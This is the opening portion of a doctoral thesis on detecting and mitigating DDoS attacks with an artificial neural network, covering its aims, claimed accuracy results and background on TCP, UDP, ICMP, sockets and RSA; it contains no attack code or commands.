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Abstract 
A Distributed Denial of Service (DDoS) attack is an organised distributed packet-storming 
technique that aims to overload network devices and the communication channels between 
them. Its major objective is to prevent legitimate users from accessing networks, servers, 
services, or other computer resources. In this thesis, we propose, implement and evaluate 
a DDoS Detector approach consisting of detection, defence and knowledge sharing 
components. The detection component is designed to detect known and unknown DDoS 
attacks using an Artificial Neural Network (ANN) while the defence component prevents forged 
DDoS packets from reaching the victim. DDoS Detectors are distributed across one or more 
networks in order to mitigate the strength of a DDoS attack. The knowledge sharing 
component uses encrypted messages to inform other DDoS Detectors when it detects a DDoS 
attack. This mechanism increases the efficacy of the detection mechanism between the DDoS 
Detectors. This approach has been evaluated and tested against other related approaches in 
terms of Sensitivity, Specificity, False Positive Rate (FPR), Precision, and Detection Accuracy. 
A major contribution of the research is that this approach achieves a 98% DDoS detection and 
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Glossary  
ANN:       Artificial Neural Network 
 
Botnet:      High number of infected hosts with zombies forming botnets of networks. 
DDoS Attack:    Distributed Denial of Service attack (DDoS) means flooding a target 
application or device with forged packets for the purpose of overloading 
and crashing it. 
 
DDoS Detector: We call our solution a DDoS Detector. Each DDoS Detector works as a 
standalone, distributed detector to detect and mitigate DDoS attacks. It 
then shares the information with other DDoS Detectors for extra 
countermeasures if required. 
 
Datasets:        In our context, datasets contain sets of patterns that are used to train the 
ANN learning algorithm. 
 
Environments: In our research, we used physical and virtual environments to conduct 




The source of the traffic is from DDoS attacks tools and the traffic is 




The source of the traffic is from genuine computer applications and the 
traffic is not abused with forged packets. 
 
Known Attack: This is DDoS attack that is widely known and registered in the existing 
detection systems databases.  
 
Low Rate DDoS: A low rate DDoS attack is an attack that has the same or lower rate than 
normal traffic. Such an approach assists the attack to bypass the 
detection mechanism.  
  
Patterns:       In our context, patterns are extracted behaviour that defines 
characteristic features of different DDoS attacks and genuine traffic, 
which separate genuine traffic from DDoS attack traffic. 
 
Spoofing: An approach used by attackers to hide or cover their source IP 
addresses. 
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Simulators:     Applications that are used for the purpose of creating complex 
environments to undertake different types of computer related 
experiments. 
 
IDS Signatures: Signatures/rules are produced using patterns that are provided by 
different authorities to verify a new attack. Such signatures are used by 
signature based Intrusion Detection Systems (IDS) to detect attacks. 
 
Unknown Attack:   A DDoS attack that is not known to the security community, signature   
and artificial detection systems. 
 





In our context, topological structures are ANN structures where Neural 
Networks input, hidden and output nodes connect together to 
mathematically calculate input variables and produce desirable output of 
one (attack) or zero (normal traffic). 
 
Thresholds: In our context, thresholds are values assigned to instances of our 
solution. When the number of packets is greater than specified 
thresholds, our system investigates the headers for abnormalities with 
the help of the ANN engine. 
 
Zombies:   These are programs that are physically or automatically installed by 
another program on computer devices. Such zombies are controlled and 
commanded by DDoS attackers to launch different DDoS attacks from 
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Chapter 0 - Introduction  
0.1 Introduction  
The field of Information Technology (IT) and its various applications has changed dramatically 
over the last two decades or so. Today, data and private information are almost all kept in 
digital formats due to the low cost, efficiency and practicality of these formats. The number of 
individuals, organisations and companies using IT and Internet communications has grown 
exponentially and will keep growing at a faster rate than anyone expected. Such a rapid 
growth and the introduction of new technologies and methods have attracted organisations to 
rebuild their IT infrastructures and make them practically suitable for their employees to 
search, delete and modify public and private data. Unfortunately, such an unprecedented 
growth in IT has also invited intruders to exploit technical issues and introduce new methods 
and techniques to hijack communication channels and attack networks. Consequently, the 
need for IT security has become a top priority to protect and safeguard data, confidentiality, 
integrity and privacy of all users. In the world of computing, one can identify different security 
domains where each domain addresses different aspects of security. For example, an 
application domain deals with application securities, a physical domain focuses on physical 
securities in data communication, and  session, network and transport security domains stress 
encryption methods, data protection, channel hijacking and indeed Distributed Denial of 
Service (DDoS) attacks [175] [176]. A DDoS attack is a cyber-security threat where multiple 
systems across the Internet are used to flood a target device or network with packets. A 
typical example of DDoS architecture occurs when many distributed devices across a network 
are infected with DDoS zombies (agents/demons) [175] [121] [31], and commanded by an 
attacker to launch attacks on a particular target. Such structured attacks are designed to 
damage Internet applications, generate heavy traffic, reduce network performance, and 
disable services [175]. However, a DDoS attack is not designed to compromise usernames 
and passwords, or to steal data. 
0.2 Motivation  
In the last few years, DDoS attacks have become more common due to their easy initiation 
and damage to their intended targets. According to NSFOCUS, nowadays, traditional security 
equipment is not designed to handle massive DDoS attacks and updating such equipment 
requires large financial resources [134]. This makes DDoS attacks a popular choice among 
the hacktivists, criminals and governmental agencies (see Section 1.2, Chapter 1). Also, the 
complex architectural structures of DDoS attacks make the source of the attacks even harder 
to trace and mitigate [175] [121]. In our study, the literature review has shown that the number 
of research studies that explore the detection and mitigation of DDoS attacks is relatively low 
compared to the popularity of DDoS attacks  vis-à-vis other security domains (e.g. application 
security).  
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Furthermore, our research investigation has also shown that most of the existing related 
research approaches do not provide satisfactory results in terms of accuracy of detection. This 
state of affairs motivated us to investigate DDoS attacks and to propose a new solution to 
detect and mitigate them.  
0.3 Research Aim and Objectives  
The common goal between our approach and other related approaches is to detect DDoS 
attacks. However, some approaches combine DDoS detection with tractability while others 
combine it with mitigation. Therefore, to identify our aims and objectives: 
 We first reviewed related research and identify existing approaches, mechanisms, and 
assess their strengths and weaknesses (see Chapter 2).  
  We evaluated and examined different DDoS attacks and learned their architectural 
structures, methodologies, rates, packet manipulation to the level of their source 
codes (see Chapter 4).  
 Further extended our knowledge, by learning TCP, UDP and ICMP protocols, which 
are generally used to produce genuine traffic and when manipulated by the attackers, 
to produce DDoS attacks with forged packets (see Chapters 1 and 4).  
 
As a result of such an investigation, we identified some variables that need to be improved in 
order to introduce a better detection process. Such variables (objectives) are summarised in 
the following points while their details are presented in Chapter 3: 
 Detection of known and unknown DDoS attacks using Artificial Neural Network (ANN). 
This is achieved by training the ANN algorithm with old and up-to-date patterns to 
identify ANN´s response and its ability to detect DDoS attacks. In the context of our 
work: 
 
o Unknown DDoS attacks are attacks that are not used in training the ANN 
algorithm. In other words, the DDoS characteristic features (patterns) are not 
included in the training datasets. However, known DDoS attacks are included 
in the training datasets.  
o An old dataset is a dataset that contains some genuine traffic characteristic 
features (normal patterns) and old known DDoS characteristic features 
(patterns) that are considered to be infective (easily detectable). Typically, 
known DDoS attack tools that date back to between 2000 and 2003 used to 
generate old known DDoS attack patterns (see Chapter 4).  
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o An up-to-date dataset is a dataset that contains genuine traffic characteristic 
features (normal patterns), old and new known DDoS attack patterns. 
Typically, known DDoS attack tools that date back between 2000 and 2003 
used to generate old known DDoS attacks patterns, while known DDoS attack 
tools that date back between 2004 and 2012 used to generate new known 
DDoS attack patterns. The structure of new known DDoS attacks is different 
from that of old DDoS attacks. Old known DDoS attacks have the 
characteristic features of introducing static packet header fields, while new 
known DDoS attacks introduce randomised packet fields (see Chapter 4, 
Section 4.9).   
 Low and high rate DDoS attack detection.  
 Prevent DDoS attack packets from reaching the destination (victim).  
 Adaptable solution to function as a standalone or distributed end product.  
 
The outcome of the above aims and objectives needed to be measured against and compared 
with others in order to identify our contribution and achievement. Here we have used 
Sensitivity, Specificity, Accuracy and Precision [14] [70] [229], since they are also used by 
other related research such as [2], [101] and [102]. In the context of our research, these 
measurements are defined as follows:  
 
 Sensitivity: Proportion of DDoS attacks, which are correctly, detected as DDoS 
attacks. 
 Specificity: Proportion of genuine (normal) traffic that is correctly detected as genuine 
(normal) traffic.  
 Accuracy: Proportion of true results – correct answers (True Positive and True 
Negative) among all the cases checked.  
 Precision: Proportion of DDoS attacks among all cases that correctly classified DDoS 
attacks and all cases that classified genuine traffic as DDoS attacks (True Positive + 
False Positive) 
 
The above measurements are used to compare the outcome of our work with signature based 
detection solutions and other related academic research work that use the same 
measurements (see Chapter 7). For their formulas, refer to Chapter 3. For the purpose of 
simplicity we call our solution DDoS Detector. 
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0.4 Contribution  
The contribution of this thesis can be summarised as follows (details are presented in Chapters 
7 and 8): 
 A major contribution of our research is a solution that introduced 98.17% DDoS 
Detection Accuracy, 97.05% Sensitivity with 0 False Alarm. On average, our solution 
introduced approximately 4.9% higher Detection Accuracy and approximately 5.6% 
over the previous best-related approaches described in Chapter 7. However, our 
results are based on our experiments, datasets, tests and physical environments as 
outlined in Chapter 7.  
 Our solution was able to detect known DDoS attacks and unknown DDoS attacks that 
are similar to the DDoS attack patterns used to train the ANN. More specifically we 
tested our solution by launching 580 known and 580 unknown DDoS attacks (a total of 
1160 DDoS attacks). Our proposed solution detected 100% of known and 95% of 
unknown DDoS attacks.  
 The impact on the detection process happens when the ANN algorithm was trained 
with datasets that lacked in characteristic features and examples (e.g. old datasets). 
Our experimental results show a decrease in the Detection Accuracy when the ANN 
was trained with old datasets as opposed to up-to-date datasets (see Chapter 7, 
Section 7.3). This means type of the dataset can impact the detection process.  
 A deployable standalone or distributed solution known as DDoS Detector that detects, 
mitigates DDoS attacks and shares the information for the purpose of awareness and 
the deployment of extra countermeasures if required. 
 In depth analyses of different DDoS attacks in terms of architectural structure, 
strength, weakness, and code level. We also identified characteristic features that are 
most repetitive by DDoS attackers to introduce a successful DDoS attack (see Chapter 
4).  
 
Work based on this thesis was presented and discussed at the 13th International Conference 
on Practical Applications of Agents and Multi-Agent Systems (PAAMS`14) in Spain [185]. This 
then led to an invitation to publish the presentation as an article in the Neurocomputing journal 
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 TCP, UDP and ICMP DDoS attacks are launched.  
 DDoS attacks are not encrypted. 
 The unknown DDoS attacks have similar characteristic features as the DDoS attacks 
used in training the ANN. In other words, the attacker uses similar patterns as those 
used for training the ANN algorithm.  
 The DDoS Detectors use our selected threshold values; otherwise new threshold 
values must be used (see Chapter 5 for threshold values).  
 
0.5 Structure of Thesis 
This thesis consists of the following Chapters. 
 Chapter 1 reviews the background information of DDoS attacks, communication 
protocols and other related technologies and methods that are used in our 
experiments, design and implementation.  
 Chapter 2 critically reviews related DDoS researches and tabulates each approach in 
terms of Detection Accuracy, Sensitivity, Specificity, Precision (if applicable) and 
mechanisms. The information gathering and learning process of this chapter is used 
to compare our approach with relevant approaches described as Chapter 7.  
 Chapter 3 discusses in details the aims and objectives of our work and provides the 
justifications for our choice of technologies and protocols.  
 Chapter 4 reviews the different experiments conducted to learn about DDoS attacks, 
genuine traffic, and to extract characteristic features that separate DDoS packets from 
genuine packets. The results of Chapter 4 are used in Chapters 5 and 6.  
 Chapter 5 provides the design of the topological structure of our ANN, detection, 
mitigation, and knowledge sharing components by using experiment results from 
Chapter 4.  
 Chapter 6 describes the implementation process of the design provided in Chapter 5, 
and reviews the tests of the functionalities of our approach.  
 Chapter 7 evaluates our approach by comparing it with other related academic and 
industrial works and identifies our contribution in terms of Detection Accuracy, 
Sensitivity, Specificity and Precision.  
 Chapter 8 summarises the thesis and offers areas for further research.   
 
Appendices are provided for tables, datasets and source-codes of our work. The 
source-codes, tools and datasets are also saved on the provided CD.  
- 23 - 
 
Chapter 1 – Fundamental Concepts  
1.1 Introduction  
In this chapter, we focus on the core of the DDoS attack techniques, architectures, strength 
and types. Then we explain the motivations and purposes of launching DDoS attacks by 
individual users or groups. This chapter also covers statistics of most popular protocols that 
are generally used and altered by DDoS attackers to launch successful DDoS attacks. In 
addition we include technologies and methodologies used to design and implement our 
proposed solution. Such technologies and protocols include, Internet Protocol (IP), 
Transmission Control Protocol (TCP), User Datagram Protocol (UDP), TCP three-way 
handshake, Internet Control Message Protocol (ICMP), Sockets, Artificial Neural Networks 
and RSA encryption. The background information discussed in this chapter is used to assist 
the experiments, design and implementation processes described in Chapters 4, 5 and 6.  
1.2  Characterisation of a DDoS Attack 
DDoS is an organised attack technique with a group of distributed infected devices across the 
Internet with the purpose of simultaneously and continuously sending a large volume of forged 
or genuine look-a-like packets to a specific victim (host or network). The key objective of a 
DDoS attack is to compile multiple devices across the Internet with infected zombies/agents 
and use them to attack a particular target or network with different types of packets (Section 
1.6). The infected devices are either remotely controlled by an attacker or by self-installed 
Trojans/malwares (e.g. Troj/Flood-IM) that are programmed to launch packet floods [121] 
[225]. A DDoS attack is a dangerous security issue that costs organisations or individuals a 
great deal of time, money [138] and reputation, yet it does not usually result in either the 
compromise of credentials or data loss. DDoS attacks can introduce the following problems 
[31] [121] [175]. 
 Damage to one or a group of devices and their resources. Introducing high CPU 
usage and high volume of packets flooding networks.  
 Slows or halts the communication channels between the devices as well as the victim 
machine. 
 Loss of Internet services like email services, web applications or online transactions 
(e.g. online banking). 
 Damage to particular applications or program performance. 
 Loss of time, money and reputation, especially when a DDoS attack is targeted at an 
e-commerce system or an online banking application. 
Lack of proper system configuration, security settings, network infrastructure and software 
logical issues in any environment, motivates DDoS engineers to design new methods and 
tools to launch their attacks [31] [175] .  
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DDoS attacks can be used by different groups of users for different purposes. For example, 
some launch DDoS attacks to defend their political or religious ideas; others do so for personal 
or non-personal reasons. Regardless of their backgrounds and views, DDoS attackers can be 
classified into the following categories [9]. 
1) Hacktivists: These are ordinary activists who use digital computers to promote their political 
views or religious ideas on the Internet. However, some hacktivists express their views in the 
form of hacking or attacking. Their primary targets are banks, governmental organisations and 
media broadcasting companies [9][104]. For example, in 2003 a group of Internet hacktivists 
gathered together and formed a group called Anonymous [136]. This group was involved in 
hacking and attacking different governmental and corporate organisations whereby they 
compromised and published confidential information. In April 2013, the online exchange and 
dealing service BitCoins were hit by a massive DDoS attack with the result of the site going 
down and the cost, in terms of money and reputation, being huge [13]. In the same month, the 
iDEAL payment system and ING bank were both hit by DDoS attacks [58]; their shares 
dropped dramatically. In March 2013, TD bank and KeyBank also confirmed their online 
solutions to be hit by DDoS attacks. Hacktivists have also targeted governmental 
organisations - for example, in April 2013 the Anonymous group flooded North Korean sites 
with DDoS attacks [116]. 
2) Governmental Agencies: DDoS attacks are also used by governmental agencies for the 
purpose of paralysing and disabling Internet communication between different parts of other 
government organisations. In 2008, Georgia´s President´s website was down due to DDoS 
attacks from Russia [48]. In January 2010, the Chinese Human Rights sites were also stormed 
by DDoS attacks that lasted 16 hours for which the Chinese government was suspected [146]. 
3) Criminals: Some criminals around the world are selling DDoS attacks and other attacking 
methodologies as a service. Individuals, criminal groups and terrorists can easily obtain such 
services. In 2012, Trend Micro provided an interesting document detailing how hack and 
attack is sold in Russia as a service [73].  The following services and prices are examples of 
what has been found about different services in Russia [73]. 
 Trojan for bank account stealing—US$1,300,  
 Trojan‎for‎web‎page‎data‎replacement‎in‎a‎client’s‎browser— US$850,  
 DDoS bot—US$350,  
 credit card checker—US$70,  
 backdoor— US$400,  
 Live Journal spammer—US$70, 
From the above examples, the average price to launch a DDoS bot attack is $350 US.  
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4) Individuals:  Independent users who are not hacktivists or criminals use DDoS attack tools 
to flood their former company or bank for revenge or other personal reasons. Users who use 
DDoS tools for personal reasons are most likely to be script kiddies [99], whose technical 
security knowledge is minimal.  
5) Other Factors:  There are other related factors that can cause DDoS attacks such as online 
gaming, social networking and misconfiguration. However, attacks generated through these 
factors are not intended for a particular target or network (they are random).  
ARBOR Networks [9], a leading provider of network security and management solutions, has 
provided interesting surveys of how, where and why DDoS attacks are generated. One part of 
their survey is to identify the motivation behind DDoS attacks among different users. From the 
surveys, ARBOR concluded that 35% of DDoS users have political reasons, 25% are by 
criminals that are demonstrating their capabilities and 17% are used for criminal extortion 
attempts. However, 25% to 28% of high traffic was generated due to social networking and 
online gaming that introduced look-a-like DDoS attack scenarios (genuine traffic). Further, 
around 18% of DDoS attacks were motivated for unknown or personal reasons. The outcome 
of ARBOR´s surveys can be graphically represented in Figure 1-1 (Provided by ARBOR).  
 
Figure  1-1: DDoS motivation [9]. 
 
Moreover, Prolexic [162], the world´s largest Distributed Denial of Service Attack mitigation 
service, provides quarterly reports about different DDoS attacks. For early 2011 (Figure 1-2), 
Prolexic reported that the majority of attacks were TCP (RESET, SYN, PUSH, ACK), UDP and 
ICMP protocol DDoS attack related.  
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Figure  1-2: DDoS attacks for 2011 [19]. 
 
Prolexic´s yearly report of 2012 (Figure 1-3) also indicates that TCP, UDP and ICMP protocols 
of all OSI layers (Section 1.3) dictate most of the DDoS attacks.  
 
 
Figure  1-3: DDoS attacks 2012 [19]. 
 
Table 1-1 contains the available total percentage values of ICMP, UDP and TCP DDoS 
attacks per quarter from 2011 to 2014 produced by Prolexic.   
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Year of publication Quarters ICMP, UDP and TCP DDoS 
attack percentage per quarter 
2011 Quarter 3 72.52% [163] 
2011 Quarter 4 66.97%  [164]  
2012 Quarter 1 69.93%  [165] 
2012 Quarter 2 80.95%  [165] 
2012 Quarter 3 81.40% [166] 
2012 Quarter 4 75.05% [167] 
2013 Quarter 1 76.54 % [168] 
2013 Quarter 2 74.71% [169] 
2013 Quarter 3 76.52% [170] 
2013 Quarter 4 76.76%  [171] 
2014 Quarter 1 67.10%  [172] 
 
Table  1-1: Total percentage of ICMP, UDP and TCP DDoS attacks per quarter. 
 
From Table 1-1, the total percentage of TCP, UDP and ICMP DDoS attacks between 2011 
and quarter one of 2014 are between 67%-81%. Such statistics show DDoS attackers’‎interest 
in forging and using TCP, UDP and ICMP protocols to launch DDoS attacks.   
1.3  Communication Protocols 
DDoS designers use the existing communication protocols to introduce successful DDoS 
attacks by forging the packets using different tools (Chapter 4, Section 4.5). Therefore, the 
fundamental concepts with respect to the existing communication protocols are vital to 
understand the attackers’‎ way of thinking. Different communication protocols are in use, 
between Internet applications and devices, but in our research we focus on Transmission 
Control Protocol (TCP), User Datagram Protocol (UDP) and Internet Control Messaging 
Protocol (ICMP) [155] [156] [157]. This is due to the fact that these protocols are widely used 
by the existing operating systems and provide faster integration with Internet applications. For 
example, one cannot establish Hypertext Transfer Protocol (HTTP) [68] connection between a 
browser and a web server without using the TCP/IP protocol. In the late 1970s, the 
International Organisation for Standardisation (ISO) established Open Systems 
Interconnection known as OSI [213]. The effort was to characterise, standardise and group the 
functions of communication systems in the form of layers. These layers communicate with 
each other or with layers above them to fulfil a purpose. OSI is divided into seven layers where 
each layer serves a particular purpose. In each layer a set of protocols or technologies are 
grouped together [97], as in the examples below. 
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 Layer one (Physical layer) conveys bit streams or radio signals and provides hardware 
for receiving and sending data. Typically category 5 cables that connect computers 
together.   
 Layer two (Data link layer), deals with encoding and decoding data across the 
network. It consists of Media Access Control (MAC physical address) and Logical Link 
Control (LLC).  
 Layer three (Network layer) groups a set of protocols such as Internet protocol (IP) 
address (routing purposes) and ICMP protocol that are used for connectivity 
purposes.  
 Layer four (Transport layer) provides transparent data transfer between two end 
applications and control of data. This includes TCP and UDP protocols.   
 Layer five (Session layer) opens, terminates and manages connection between 
applications. For example Remote Procedure Call (RPC) [213].  
 Layer six (Presentation layer) deals with data representation such as data encryption 
(e.g. RSA encryption).  
 Layer seven (Application layer) supports end user processes such as email, File 
Transfer Protocol (FTP) or Telnet services. 
Nowadays, most popular Internet applications communicate via TCP, UDP and ICMP 
protocols due to their ease of implementation, practicality and documentation [141]. Like any 
other protocols, they consist of different features and rules that are used for communication 
purposes. However, these features and functionalities are publically available and invite DDoS 
engineers to manipulate the communication mechanisms using different tools and 
approaches. Meanwhile, the yearly statistics (Table 1-1, Section 1.2) show that most current 
DDoS attacks are introduced via TCP, UDP and ICMP protocols [162]. Since these protocols 
are widely used by Internet applications and DDoS attackers alike, our detection process 
focuses on UDP, ICMP and TCP protocols (see Chapter 3, Section 3.5 for details). We 
therefore discuss the details of TCP, UDP and ICMP, but we first introduce the IP protocol, 
which provides routing mechanisms when TCP, UDP and ICMP are used.   
 Internet Protocol (IP) 1.3.1
IP is an important part of OSI layers and TCP/IP suite (see Section 1.3.4, TCP/IP suite) where 
TCP, UDP and ICMP data are transmitted as an IP datagram or packet [158]. Each 
datagram/packet is dealt with independently via different routes and they arrive at the 
destination in a different order. The IP Header enables this process of routing packets from 
source to destination coupled with their expiry values. IP version 4 header consists of the 
following bits and information (see Figure 1-4). 
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 Version (4 bits): Identifies the current version (IP version 4). 
 Header Length (4 bits): Identifies the length of the header including IP options.  
 Type of Service (8 bits): This is unused today and must be 0. 
 Total length (16 bits): Provides the total length of the datagram in bytes. 
 Identification (16 bits): Uniquely identifies each datagram sent by the device. 
 Flags (3 bits): Used during data fragmentation (bit one for more fragments). 
 Fragment offset (13 bits): Contains the offset of fragmentation from start to end. 
 Time to live (8 bits): Number of routers a packet passes through before it gets 
discharged in the network. 
 Protocol (8 bits): Type of protocols it is routing (e.g. it routes an ICMP packet). 
 Header Checksum (16 bits): Calculates the IP header. 
 Source IP (32 bits): Source IP address. 
 Destination IP (32 bits): Destination IP address. 
 Options (if any): This is rarely used, but if used padding must be zeros.  
 Data: Contains, TCP, UDP or ICMP.  
 
 
Figure  1-4: Representation of IP header. 
Figure 1-4 represents IP header and is taken from [213] [200]. 
 Transmission Control Protocol (TCP) 1.3.2
TCP uses network layer (IP protocol) to reach the destination ends. As a transport protocol, 
TCP is known to be reliable and connection-orientated [155]. This means connection is 
established (reliability) first before data is exchanged between two applications. This process 
is known as three-way handshake [89] between a client (e.g. browser) and a server (e.g. web-
server). This property (three-way handshake or reliabilities) is functionalised by 32 bits of TCP 
header. The Header consists of the following bits (see Figure 1-5): 
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 Source port number (16 bits): Represents client source port number.  
 Destination port number (16 bits): Represents destination port number. 
 Sequence number (32 bits): This is used to sequence each packet in order to assist 
the receiver receiving the packets in order (Section 1.3.3).  
 Acknowledgement number (32 bits): This contains the value of the next sequence 
number that the sender is expecting to receive. Together with the sequence number 
they keep packets in order (Section 1.3.3).  
 Header length (4 bits): Represents the length of the TCP header. 
 Reserved (6 bits): This represents the following flag bits: 
o URG bit: Represents an urgent pointer to be valid (see urgent pointer).  
o ACK bit: Represents the validation of the acknowledgement number. 
o PSH bit: The receiver should push the data to application level at once. 
o RST bit: To reset the connection. 
o SYN bit: This flag synchronises the sequence number to initiate the 
connection.  
o FIN bit: The sender finished sending data. 
 Window size (16 bits): Advertises the end of the TCP flow control. 
 Checksum (16 bits): This is a mandatory value, which has to be calculated by the 
sender and verified by the receiver.  
 Urgent pointer (16 bits): This is represented as URG, which is used to inform the 
receiving station that specific data within a segment is urgent and must be prioritised.  
 Options (if any): This is usually used to specify the maximum size of the segment. 
 
 
Figure  1-5: TCP header. 
 
Figure 1-5 represents TCP header and is taken from [213] [93]. 
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 TCP Three-Way Handshake  1.3.3
TCP is connection orientated where connection is established before data is exchanged [213] 
[89]. This means a client application has to establish a connection with a server application 
before data is exchanged between the applications. This process is known as three-way 
handshake to verify the destination application. To explain three-way handshake, we used 
Secure Shell (SSH) client application [245] to connect to SSH server and studied TCP three-
way behaviour between the client and the server. We used Wireshark application [234] to 
analyse the connection (see Figure 1-6).  
 
 
Figure  1-6: Three-way handshake between SSH-client and SSH-server. 
 
IP number (10.0.0.2) is the SSH client application trying to connect to SSH server (10.0.0.3). 
At first, the client sends a SYN message with its own 32 bit sequence number (line one in 
Figure 1-6). Then the server (10.0.0.3) replies to the client (10.0.0.2) with SYN+ACK as part of 
the TCP header (line two). The message contains the server´s sequence number and 
acknowledgement sequence number. Then, the client sends an acknowledgement back to the 
server and connection is established (line three). After that data is pushed from the client to 
the server and from the server to the client and acknowledged back (line 4 onwards). The 
connection between the client and the server is reset (RST flag) when data stops exchanging. 
At this point the three-way handshaking mechanism between client/server re-establishes itself 
again. Most DDoS attacks use TCP header flags (RST, SYN, PSH) to confuse the victim with 
half open connection or reset (RST) to introduce buffer overflow and crash the application on 
the server side. This is particularly true when an application is designed to take a specific 
number of TCP connections per unit time.  See Chapter 4, for examples. 
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 TCP/IP Suite  1.3.4
TCP/IP [213] [208] is a shorter version of the OSI model where the number of layers is four 
instead of seven. The layers are organised in the following way (from top to bottom): 
 Application Layer: This layer provides representation, encoding and control of data. 
This includes how data is encoded or encrypted.  
 Host-to-Host Layer: This layer deals with the flow of data in a reliable manner between 
applications. 
 Internet Layer: Just like OSI´s network layer, provides network and routing 
mechanisms.   
 Network Access Layer: Deals with the physical access in particular network media.  
TCP/IP is designed to simplify the OSI model in an understandable and meaningful manner 
[213].   
 User Datagram Protocol (UDP) 1.3.5
UDP [156] is transport layer protocol that is widely used by the application layer (e.g. DNS 
servers). Depending on the requirements, many applications use either TCP or UDP as part of 
the communication process. Unlike TCP, UDP is connectionless and data is not guaranteed to 
reach the destination service. UDP header consists of the following parts (Figure 1-7): 
 Source port (16 bits): Represents source port number (client side).  
 Destination port (16 bits): Represents destination port number (destination side).  
 Length (16 bits): Length of the UDP header and the encapsulated data.  
 UDP checksum (16 bits): It is used for the purpose of checksum calculation.  
 Data (32 bits): represents the data.  
 
 
Figure  1-7: UDP header. 
 
Figure 1-7 represents UDP header and is taken from [213] [220]. 
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 Comparison between TCP and UDP  1.3.6
UDP and TCP [155] [156] [213] are the two most commonly used transport protocols for 
different purposes in different applications. Choosing the right protocol depends on the type of 
data that needs to be transferred. One can summarise the key differences between UDP and 
TCP. 
 TCP is a reliable protocol while UDP is considered to be unreliable. 
 TCP is connection orientated while UDP is connectionless. 
 TCP provides retransmission of segments while UDP does not retransmit. 
 TCP provides flow control through windowing (Window Size) while UDP does not 
provide windowing. 
 TCP provides sequencing while UDP does not provide sequencing. 
 TCP provides acknowledgement while UDP does not provide acknowledgement. 
 TCP is slower while UDP is faster. 
Table 1-2 is a short list of known applications that use UDP and TCP protocol. 
 
 
User Datagram Protocol (UDP) Transmission Control Protocol (TCP) 
Dynamic Host Configuration Protocol 
(DHCP) [56] 
Hypertext Transfer Protocol (HTTP) [68] 
Network Time Protocol (NTP) [125] Post Office Protocol version 3 [132] 
Simple Network Management Protocol 
(SNMP) [29] 
Internet Message Access protocol (IMAP)  
[41] 
Domain Names [128] Rlogin [87] 
Routing Information Protocol (RIP) [113] 
Network News Transfer Protocol (NNTP) 
[65] 
Reserve Routing Header (RRH)  [222] Kerberos [137] 
 
Table  1-2: Popular applications that use TCP and UDP. 
 
Most Internet applications are designed to provide UDP and TCP libraries and interfaces to 
help developers to select the protocol that satisfies their requirement. Some of the above 
services operate under both TCP and UDP protocols (e.g. IMAP). 
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 ICMP Protocol 1.3.7
An ICMP [157] packet is considered to be one of the useful protocols to diagnose connections 
between applications/devices or when data does not reach its destination. It is mainly 
designed to get some feedback about a problem within the communication environment. The 
ICMP header (32 bits) consists of the following: 
 Type (8 bits): Specifies the format of the ICMP messages. There are more than 40 
types of ICMP format. For the purpose of this chapter, we only focus on the 
important types while the rest of the types are given in Appendix 1-1.  ICMP types 
are: 
o Echo reply: known as type zero.  
o Unassigned: Type 1 and 2.  
o Destination unreachable:  Type 3. 
o Source quench: Type 4. 
o Redirect: Type 5. 
o Alternate host address: Type 6. 
o Unassigned: Type 7.  
o Echo request: Type 8. 
o Router advertisement: Type 9. 
o Router solicitation: Type 10. 
o Time exceeded: Type 11.  
o Parameter problem: Type 12. 
o Time-stamp: Type 13. 
o Time-stamp reply: Type 14. 
o Information request: Type 15. 
 Code: This further qualifies the ICMP message.  
 Checksum: Checksum in ICMP has to be cleared from zero before it gets 
calculated. This includes the beginning of the ICMP message starting from the 
type.  
The following is information included with echo-request/echo-reply (type 0/8), see Figure 1-8. 
 Identifier (16 bits): When echo-request (type 8) is sent the reply is echo-reply (type 
0). This is used to associate echo-request and echo-reply.  
 Sequence Number (16bits): This value increases incrementally for each packet 
and this is the known characteristic feature of ICMP.  
 
 
Figure  1-8: ICMP header with echo/request reply. 
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Just like type 0 and 8, other ICMP types might require extra bits within the header, such as 
source quench (Figure 1-9) or ICMP redirect type (Figure 1-10). Another example is time-
stamp request/reply (Figure 1-11). Such types, codes and checksum values are used among 
all the ICMP headers.  
 
 
Figure  1-9: ICMP type source quench. 
 
 
Figure  1-10: ICMP type redirect. 
 
 
Figure  1-11: ICMP type timestamp request/reply. 
 
Figures 1-8, 1-9, 1-10 and 1-11, represent ICMP header types and are taken from [6] [213]. 
 Sockets  1.3.8
Sockets [233] are endpoints between the computer devices in the network, which allow the 
exchange of data flow between each application on either side. Implementing sockets is 
different from one operating system to another, but the fundamentals are the same. Usually, 
the programming language and the operating system provide the Application Programming 
Interfaces (API) to develop sockets between two applications via a set of protocols (usually 
TCP/IP or UDP/IP).  Since IP deals with the routing mechanism and TCP/UDP deals with the 
port numbers, knowing IP and ports numbers is vital to establish the connection between the 
client and the server applications.  Socket programming consists of the following steps:  
 Create the socket. 
 Identify the socket. 
 Server side code waits for connection from the client (runs as a service on a port). 
 Client connects to the server via server IP address and port number.  
 Data is sent from client to server and from server to client.  
 Close connection (socket) when data exchange is finished.   
We have used sockets to establish TCP connections to exchange encrypted messages 
between the components of our solution (see Chapter 6, Section 6.3.4). 
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1.4 Encryption 
Encryption [190] is a process of encoding data from readable format (plain text) to a format 
that cannot be understood by any third party applications. This is represented in the 
presentation layer of OSI. The process of encrypting data requires encryption algorithms using 
an encryption key. There are different encryption algorithms and approaches, but for the 
purposes of this thesis, we only consider the RSA encryption mechanism that has been used 
as part of the implementation process (see Chapter 6, Section 6.3.4).  
RSA encryption [85] 
RSA is used in public encryption and digital signature, but it is mostly used as public key 
encryption. Before data is encrypted, two keys are generated, one is called the public key and 
the other is called the private key. When a client wants to send an encrypted message to a 
server using the public key, the server first sends the public key to the client and then the 
client‎uses‎the‎server’s‎public‎key‎to‎encrypt‎the‎message.‎Once‎the‎message‎arrives‎at‎the‎
server side, the server uses its private key to decrypt the message. The public key is 
considered to be open and one can publish it on the Internet or send it via email. However, 
private key must be secret and must not be published anywhere. If an attacker gets hold of the 
private key, the attacker can analyse the network [234], retrieve encrypted messages and 
decrypt them using the private key.   
1.5 Artificial Neural Network (ANN)  
Artificial Neural Network [64] [79] [127] is an advanced and interesting topic of artificial 
intelligence, but understanding its concept in detail is not within the scope of our thesis. 
However, for the purpose of this work, we briefly explain ANN and its architectural structure 
coupled with its entities. Then in Chapter 3, Section 3.4 we justify our reason for choosing 
ANN for our solution and further explain ANN´s design and implementation in Chapters 5 and 
6 respectively. In computer science Artificial Neural Networks (ANN) are models that are made 
up of connected units/nodes which process information and recognise different types of 
patterns. ANN is inspired by human neurons interconnection for processing information and 
